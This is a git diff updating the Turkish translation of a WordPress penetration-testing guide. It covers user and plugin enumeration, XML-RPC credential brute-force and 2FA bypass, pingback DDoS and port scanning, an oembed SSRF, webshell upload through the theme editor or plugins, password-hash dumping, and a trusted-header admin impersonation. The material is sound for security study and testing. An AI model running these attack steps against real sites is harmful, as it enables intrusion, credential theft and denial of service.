diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index a2daac43e..242103fc6 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,10 +4,10 @@ ## Temel Bilgiler -- **Yüklenen** dosyalar şu adrese gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Tema dosyaları /wp-content/themes/ dizininde bulunur,** bu yüzden temanın bazı php dosyalarını değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: **twentytwelve** temasını kullanarak [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) dosyasına **erişebilirsiniz**. +- **Yüklenen** dosyalar gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Tema dosyaları /wp-content/themes/ içinde bulunur,** bu yüzden temanın bazı php dosyalarını değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanılarak **404.php** dosyasına şu adreste erişilebilir: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Başka faydalı bir url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Başka faydalı bir URL şunu olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **wp-config.php** içinde veritabanının root parolasını bulabilirsiniz. - Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ @@ -15,38 +15,38 @@ ### **Ana WordPress Dosyaları** - `index.php` -- `license.txt` örneğin yüklü WordPress sürümünü içeren faydalı bilgiler barındırır. -- `wp-activate.php` yeni bir WordPress sitesi kurulumunda e-posta aktivasyon süreci için kullanılır. +- `license.txt` yüklenen WordPress sürümü gibi faydalı bilgiler içerir. +- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır. - Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` HTTP taşıma mekanizması ve XML kodlama mekanizması ile veri iletimine izin veren bir WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir. -- `wp-content` klasörü eklenti ve temaların saklandığı ana dizindir. -- `wp-content/uploads/` platforma yüklenen herhangi bir dosyanın saklandığı dizindir. -- `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi core dosyalarının saklandığı dizindir. -- `wp-sitemap.xml` Wordpress 5.5 ve üzeri sürümlerde, tüm herkese açık gönderileri ve herkese açık sorgulanabilir post türleri ile taksonomileri içeren bir sitemap XML dosyası oluşturur. +- `xmlrpc.php` HTTP taşıma mekanizması ve XML kodlama mekanizması ile veri iletimine olanak sağlayan bir WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirildi. +- `wp-content` klasörü eklentilerin ve temaların saklandığı ana dizindir. +- `wp-content/uploads/` platforma yüklenen tüm dosyaların saklandığı dizindir. +- `wp-includes/` sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir. +- `wp-sitemap.xml` Wordpress 5.5 ve sonraki sürümlerde, tüm genel gönderileri ve herkese açık sorgulanabilir gönderi türleri ile taksonomileri içeren bir sitemap XML dosyası üretir. **Post exploitation** -- `wp-config.php` dosyası WordPress'in veritabanına bağlanması için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, kimlik doğrulama anahtarları ve tuzlar, ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için kullanılabilir; bu da sorun giderme sırasında faydalı olabilir. +- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys and salts ve veritabanı tablo ön eki gibi bilgileri içerir. Bu yapılandırma dosyası aynı zamanda DEBUG modunu etkinleştirmek için de kullanılabilir; bu, sorun giderme sırasında faydalı olabilir. ### Kullanıcı İzinleri - **Administrator** -- **Editor**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir +- **Editor**: Kendi ve başkalarının gönderilerini yayınlar ve yönetir - **Author**: Kendi gönderilerini yayınlar ve yönetir -- **Contributor**: Gönderilerini yazar ve yönetir ancak yayımlayamaz -- **Subscriber**: Gönderileri görüntüler ve profilini düzenleyebilir +- **Contributor**: Gönderilerini yazar ve yönetir ancak yayınlayamaz +- **Subscriber**: Gönderileri görüntüler ve profilini düzenler -## **Pasif Keşif** +## **Passive Enumeration** ### **WordPress sürümünü öğrenme** `/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin -Sayfanın **kaynak kodu** içinde (örnek from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Sayfanın **kaynak kodu** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### Eklentiler +### Eklentileri Edinin ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Genel olarak sürüm bilgisi çıkarma +### Genel olarak sürüm bilgilerini çıkarma ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Aktif keşif -### Eklentiler ve Temalar +### Plugins and Themes -Muhtemelen tüm eklentileri ve temaları bulamayacaksınız. Hepsini keşfetmek için, **aktif olarak eklenti ve tema listelerini Brute Force etmeniz** gerekecek (umarız bu listeleri içeren otomatik araçlar vardır). +Muhtemelen tüm Plugins and Themes'i bulamayacaksınız. Hepsini keşfetmek için **actively Brute Force a list of Plugins and Themes** yapmanız gerekecek (umarız bizim için bu listeleri içeren otomatik araçlar vardır). ### Kullanıcılar -- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz: +- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, id **geçersiz**dir. +Yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Yanıt **400** ise, id **geçersizdir**. -- **wp-json:** Kullanıcılar hakkında bilgi almak için şu sorguyu da deneyebilirsiniz: +- **wp-json:** Kullanıcılar hakkında bilgi almak için ayrıca şu sorguyu deneyebilirsiniz: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek bir diğer `/wp-json/` endpoint şudur: +Kullanıcılar hakkında bazı bilgiler ortaya çıkarabilecek bir diğer `/wp-json/` endpoint şudur: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Note that this endpoint only exposes users that have made a post. **Sadece bu özellik etkin olan kullanıcılarla ilgili bilgiler sağlanacaktır**. +Note that this endpoint only exposes users that have made a post. **Yalnızca bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır**. -Also note that **/wp-json/wp/v2/pages** could leak IP addresses. +Ayrıca unutmayın ki **/wp-json/wp/v2/pages** IP adreslerini leak edebilir. -- **Login username enumeration**: **`/wp-login.php`** üzerinden giriş yaparken gösterilen **mesaj**, kullanıcının var olup olmadığına göre **farklıdır**. +- **Login username enumeration**: **`/wp-login.php`** üzerinden giriş yapılırken gösterilen **mesaj** kullanıcı adının var olup olmadığına göre **farklıdır**. ### XML-RPC -Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi örneğin [using this](https://github.com/relarizky/wpxploit) ile otomatikleştirebilirsiniz). +Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). -To see if it is active try to access to _**/xmlrpc.php**_ and send this request: +Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve şu isteği gönderin: **Kontrol** ```html @@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** brute-force credentials için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangi birini bulabilirseniz şu şekilde bir şey gönderebilirsiniz: +**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`**, credentials'ı brute-force etmek için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangi birini bulursanız şu şekilde bir istek gönderebilirsiniz: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -Geçerli olmayan kimlik bilgileri varsa, 200 kodlu yanıt içinde _"Incorrect username or password"_ mesajı görünmelidir. +Kimlik bilgileri geçersizse 200 kodlu bir yanıtta _"Incorrect username or password"_ mesajı görünmelidir. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Doğru kimlik bilgileriyle bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ Doğru kimlik bilgileriyle bir dosya yükleyebilirsiniz. Yanıtta yol görünece ``` -Also there is a **daha hızlı bir yol** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request: +Ayrıca aynı istekte birden fazla kimlik bilgisi deneyebildiğiniz için **`system.multicall`** kullanarak kimlik bilgilerini brute-force etmek için **daha hızlı bir yol** vardır:
**Bypass 2FA** -Bu yöntem programlar için tasarlanmıştır, insanlar için değil ve eski olduğu için 2FA'yı desteklemiyor. Yani, geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kullanarak bu creds ile 2FA'yı atlayarak oturum açmayı kötüye kullanabilirsiniz**. Konsol aracılığıyla yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in açıkladığı gibi yine de RCE'ye ulaşabilirsiniz: [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Bu yöntem programlar içindir, insanlar için değil; ayrıca eski olduğu için 2FA'yi desteklemez. Yani geçerli kimlik bilgilerine sahipseniz ama ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kötüye kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmanız mümkün olabilir**. Konsol üzerinden yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, fakat Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) videosunda açıkladığı gibi yine de RCE'ye ulaşmanız mümkün olabilir. **DDoS or port scanning** -If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ -Bu, **binlerce** Wordpress **site**'nin tek bir **konum**'a **erişim**de bulunmasını sağlamak için kullanılabilir (böylece o konumda bir **DDoS** oluşur) veya herhangi bir port belirterek **Wordpress**'in bazı iç **ağ**'ları **taramasını** sağlamak için kullanılabilir. +Eğer listede _**pingback.ping**_ metodunu bulabilirseniz, Wordpress'in herhangi bir host/port'a rastgele bir istek göndermesini sağlayabilirsiniz.\ +Bu, binlerce **Wordpress** sitesinin tek bir hedefe erişmesini sağlamak için kullanılabilir (böylece o hedefte bir **DDoS** oluşur) veya bunu **Wordpress**'in bazı iç ağları taraması için kullanabilirsiniz (herhangi bir port belirtebilirsiniz). ```html pingback.ping @@ -191,9 +191,9 @@ Bu, **binlerce** Wordpress **site**'nin tek bir **konum**'a **erişim**de bulunm ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Eğer **faultCode** değeri **0**'dan büyük (17) ise, bu portun açık olduğu anlamına gelir. +Eğer **faultCode** değeri **0**'dan (17) **büyük**se, bu portun açık olduğu anlamına gelir. -Önceki bölümdeki **`system.multicall`** kullanımına bakarak bu yöntemi DDoS oluşturmak için nasıl suistimal edebileceğinizi öğrenin. +Önceki bölümdeki **`system.multicall`** kullanımına bakın; bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenin. **DDoS** ```html @@ -210,14 +210,14 @@ Eğer **faultCode** değeri **0**'dan büyük (17) ise, bu portun açık olduğu ### wp-cron.php DoS Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\ -Bu dosyaya **erişildiğinde** "**ağır**" MySQL **sorgu** çalıştırılır; bu yüzden **attackers** bir **DoS**'a **sebep olabilir**.\ -Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklenişinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) tetiklenir; yüksek trafikli sitelerde bu problemler (DoS) yaratabilir. +Bu dosyaya **erişildiğinde** "**yoğun**" MySQL **sorgusu** çalıştırılır, bu yüzden **saldırganlar** tarafından bir **DoS** oluşturmak için kullanılabilir.\ +Ayrıca, varsayılan olarak `wp-cron.php` her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) çağrılır; bu da yüksek trafiğe sahip sitelerde sorunlara (DoS) yol açabilir. -Wp-Cron'u devre dışı bırakıp, sunucu içinde gerekli işlemleri düzenli aralıklarla gerçekleştirecek gerçek bir cronjob oluşturmanız önerilir (sorunlara yol açmadan). +Wp-Cron'u devre dışı bırakıp, gerekli işlemleri düzenli aralıklarla gerçekleştirecek gerçek bir cronjob'un host içinde oluşturulması önerilir (sorun oluşturmayacak şekilde). ### /wp-json/oembed/1.0/proxy - SSRF -Şu adrese erişmeyi deneyin _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ ve Worpress sitesi size bir istek yapabilir. +Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Bu araç, **methodName: pingback.ping**'in ve **/wp-json/oembed/1.0/proxy** yolunun varlığını kontrol eder; eğer mevcutsa, bunları exploit etmeye çalışır. +Bu araç **methodName: pingback.ping** ve yol **/wp-json/oembed/1.0/proxy** olup olmadığını kontrol eder ve mevcutsa bunları istismar etmeye çalışır. ## Otomatik Araçlar ```bash @@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Bir biti üzerine yazarak erişim sağlama -Gerçek bir saldırıdan çok bir merak konusudur. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasındaki 1 biti değiştirebiliyordunuz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti değiştirerek NOT (`!`) işlemini NOP yapabilirdiniz. +Gerçek bir saldırıdan çok merak amaçlı bir şeydir. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasındaki 1 biti çevirebiliyordunuz. Böylece ` /var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti çevirerek NOT (`!`) operasyonunu NOP yapabilirdiniz. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Kullanılan temadaki bir php'yi değiştirme (admin credentials needed)** +**Kullanılan temadaki bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)** -Appearance → Theme Editor → 404 Template (sağ tarafta) +Appearance → Theme Editor → 404 Template (sağda) -İçeriği bir php shell ile değiştirin: +İçeriği bir php shell için değiştirin: ![](<../../images/image (384).png>) -Güncellenmiş sayfaya nasıl erişileceğini internette araştırın. Bu durumda şuraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda buraya erişmelisiniz: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -269,8 +269,8 @@ oturum elde etmek için. ### PHP plugin -.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.\ -Örneğin şu şekilde php backdoor'unuzu oluşturun: +Bir plugin olarak .php dosyaları yüklemek mümkün olabilir.\ +Örneğin şu şekilde bir php backdoor oluşturun: ![](<../../images/image (183).png>) @@ -278,52 +278,52 @@ Sonra yeni bir plugin ekleyin: ![](<../../images/image (722).png>) -Plugin'i yükleyin ve "Install Now" butonuna basın: +Upload plugin and press Install Now: ![](<../../images/image (249).png>) -"Procced"e tıklayın: +Click on Procced: ![](<../../images/image (70).png>) -Muhtemelen görünürde hiçbir şey olmayacak, ancak Media'ya giderseniz yüklenmiş shell'inizi göreceksiniz: +Muhtemelen görünürde bir şey yapmayacaktır, ancak Media'ya giderseniz shell'inizin yüklendiğini göreceksiniz: ![](<../../images/image (462).png>) -Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz: +Erişin ve reverse shell'i çalıştırmak için URL'i göreceksiniz: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Bu yöntem, bilinen şekilde zafiyetli olan ve web shell elde etmek için istismar edilebilen zararlı bir plugin'in kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir: +Bu yöntem, zafiyeti bilinen ve web shell elde etmek için sömürülebilen kötü amaçlı bir plugin'in kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir: -1. **Plugin Edinimi**: Plugin, Exploit DB gibi bir kaynaktan elde edilir; örneğin [**here**](https://www.exploit-db.com/exploits/36374). -2. **Plugin Kurulumu**: -- WordPress dashboard'a gidin, sonra `Dashboard > Plugins > Upload Plugin`. +1. **Plugin Acquisition**: Plugin, Exploit DB gibi bir kaynaktan şu örnekteki gibi elde edilir: [**here**](https://www.exploit-db.com/exploits/36374). +2. **Plugin Installation**: +- WordPress dashboard'a gidin, sonra `Dashboard > Plugins > Upload Plugin` yolunu izleyin. - İndirilen plugin'in zip dosyasını yükleyin. -3. **Plugin Aktivasyonu**: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden aktive edilmelidir. +3. **Plugin Activation**: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden etkinleştirilmelidir. 4. **Exploitation**: -- "reflex-gallery" plugin'i yüklü ve aktif olduğunda, zafiyeti bilindiği için istismar edilebilir. -- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir. -- Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu not edilmelidir. +- "reflex-gallery" plugin'i yüklendiğinde ve etkinleştirildiğinde, zafiyeti bilindiği için sömürülebilir. +- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter oturumu başlatılabilir ve siteye yetkisiz erişim sağlanabilir. +- Bunun, bir WordPress sitesini sömürmek için kullanılan birçok yöntemden sadece biri olduğu belirtilmelidir. -İçerik, WordPress dashboard'unda plugin'i yükleme ve aktifleştirme adımlarını gösteren görsel yardımcılar içerir. Ancak, bu şekilde zafiyetleri istismar etmek uygun yetki olmadan yasa dışı ve etik dışıdır. Bu bilgiler sorumlu şekilde ve yalnızca açık izinle yapılan penetration testing gibi yasal bağlamlarda kullanılmalıdır. +İçerik, plugin'i yükleme ve etkinleştirme adımlarını gösteren WordPress dashboard'undaki görsel yardımcılar içerir. Ancak, bu tür zafiyetleri yetkisiz olarak sömürmenin yasalara aykırı ve etik olmadığını belirtmek önemlidir. Bu bilgiler sorumlu bir şekilde ve yalnızca açık izinle gerçekleştirilen penetration testing gibi yasal bağlamlarda kullanılmalıdır. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## XSS'ten RCE'ye +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ WordPress'te bir **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)'a bakın. Aşağıdaki Wordpress sürümlerini destekler ve şunları yapmaya olanak tanır: +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** - _**Privilege Escalation:**_ WordPress'te bir kullanıcı oluşturur. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin (backdoor) yüklemenizi sağlar. -- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki built-in plugin'leri düzenlemenizi sağlar. -- _**(RCE) Built-In Theme Edit:**_ WordPress'teki built-in theme'leri düzenlemenizi sağlar. -- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress pluginleri/temaları için özel exploit'ler. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin'inizi (backdoor) WordPress'e yükleyin. +- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki varsayılan plugin'leri düzenleyin. +- _**(RCE) Built-In Theme Edit:**_ WordPress'teki varsayılan theme'leri düzenleyin. +- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress plugin/theme'leri için özel Exploit'ler. ## Post Exploitation -Kullanıcı adları ve parolaları çıkar: +Kullanıcı adlarını ve şifreleri çıkartın: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -335,25 +335,25 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Attack Surface -Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkardığını bilmek, o işlevlerdeki zafiyetleri bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki madde başlıklarında bulabilirsiniz ve savunmasız bazı eklenti örnekleri için [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkardığını bilmek, eklentinin işlevselliğindeki güvenlik açıklarını bulmak için anahtardır. Bir eklentinin nasıl işlevsellik açabileceğini aşağıdaki madde işaretlerinde görebilir ve bazı savunmasız eklenti örneklerini [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) adresinde bulabilirsiniz. - **`wp_ajax`** -Bir eklentinin fonksiyonlarını kullanıcılara açığa çıkarmasının yollarından biri AJAX işleyicileridir. Bunlar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların sıklıkla hem authentication hem authorization'ı bir wordpress nonce'unun varlığına dayandırması yaygındır; bu nonce **Wordpress kurulumunda kimliği doğrulanmış herhangi bir kullanıcıda bulunabilir** (rolünden bağımsız olarak). +Bir eklentinin fonksiyonlarını kullanıcılara açmasının yollarından biri AJAX handlers aracılığıdır. Bu handler'lar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların hem authentication hem de authorization'ı WordPress nonce'unun varlığına dayandırması sık görülen bir durumdur; bu nonce'a **Wordpress instance'ında kimlik doğrulaması yapılmış herhangi bir kullanıcı sahip olabilir** (rolünden bağımsız olarak). -Bunlar bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlardır: +Bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlar şunlardır: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv` kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimlik doğrulanmamış olanlar dahil) erişilebilir hale getirir.** +**`nopriv` kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimliği doğrulanmamış olanlar dahil) erişilebilir kılar.** > [!CAUTION] -> Ayrıca, eğer fonksiyon yalnızca kullanıcının yetkisini `wp_verify_nonce` fonksiyonuyla kontrol ediyorsa, bu fonksiyon sadece kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalığa sahip kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir. +> Ayrıca, eğer fonksiyon sadece `wp_verify_nonce` fonksiyonu ile kullanıcının yetkilendirmesini kontrol ediyorsa, bu fonksiyon genellikle sadece kullanıcının giriş yapıp yapmadığını kontrol eder; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir. - **REST API** -Ayrıca `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir REST API olarak kayıt edip açığa çıkarmak da mümkündür: +Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları rest AP kaydederek açığa çıkarmak da mümkündür: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method. +`permission_callback` bir API metodunu çağırmaya yetkili olup olmadığını kontrol eden bir geri çağırma fonksiyonudur. -**If the built-in `__return_true` function is used, it'll simply skip user permissions check.** +**Eğer dahili `__return_true` fonksiyonu kullanılırsa, kullanıcı izin kontrollerini tamamen atlayacaktır.** - **Doğrudan php dosyasına erişim** -Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir güvenlik açığı barındırıyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir. +Elbette Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu yüzden bir eklenti, yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir güvenlik açığı içeren işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve sonra bu header'ı REST istekleri için mevcut kullanıcı bağlamını ayarlamakta kullanır. Eğer bu header yukarı akış bileşeni tarafından isteğe kriptografik olarak bağlanmamışsa, bir saldırgan onu taklit ederek yönetici olarak ayrıcalıklı REST rotalarına erişebilir. +Bazı eklentiler dahili entegrasyonlar veya reverse proxies için “trusted header” kısayolları uygular ve daha sonra bu header'ı REST istekleri için mevcut kullanıcı bağlamını ayarlamak amacıyla kullanır. Eğer header, upstream bir bileşen tarafından isteğe kriptografik olarak bağlanmamışsa, bir saldırgan bunu sahteleyebilir ve yönetici olarak ayrıcalıklı REST rotalarına erişebilir. -- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account). -- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. +- Etkisi: core users REST route üzerinden yeni bir yönetici oluşturarak kimlik doğrulama olmadan yönetici ayrıcalıklarına yükselme. +- Örnek header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'sini 1 olarak zorlar; genellikle ilk yönetici 